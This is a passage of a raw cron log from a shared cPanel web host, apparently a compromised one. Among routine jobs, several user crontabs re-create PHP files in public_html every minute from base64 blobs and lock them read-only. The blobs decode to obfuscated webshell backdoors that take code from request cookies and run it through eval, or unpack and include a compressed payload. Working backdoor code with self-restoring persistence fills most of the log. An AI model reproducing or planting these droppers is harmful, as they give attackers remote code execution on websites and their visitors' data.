WR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:01:02 medusa CROND[2149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:01:02 medusa run-parts(/etc/cron.hourly)[2113]: starting 0anacron
Apr 19 08:01:02 medusa run-parts(/etc/cron.hourly)[2364]: finished 0anacron
Apr 19 08:02:01 medusa CROND[27078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:02:01 medusa CROND[27097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:02:01 medusa CROND[27099]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:02:01 medusa CROND[27100]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:02:01 medusa CROND[27101]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:02:01 medusa CROND[27103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:02:01 medusa CROND[27104]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:02:01 medusa CROND[27106]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:02:01 medusa CROND[27110]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:02:01 medusa CROND[27111]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:02:01 medusa CROND[27113]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:02:01 medusa CROND[27107]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:02:01 medusa CROND[27114]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:03:01 medusa CROND[18753]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:03:01 medusa CROND[18755]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:03:01 medusa CROND[18756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:03:01 medusa CROND[18757]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:03:01 medusa CROND[18758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:03:01 medusa CROND[18759]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:03:01 medusa CROND[18761]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:03:01 medusa CROND[18763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:03:01 medusa CROND[18764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:03:01 medusa CROND[18765]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:03:01 medusa CROND[18774]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:03:01 medusa CROND[18772]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:04:01 medusa CROND[10740]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:04:01 medusa CROND[10744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:04:01 medusa CROND[10745]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 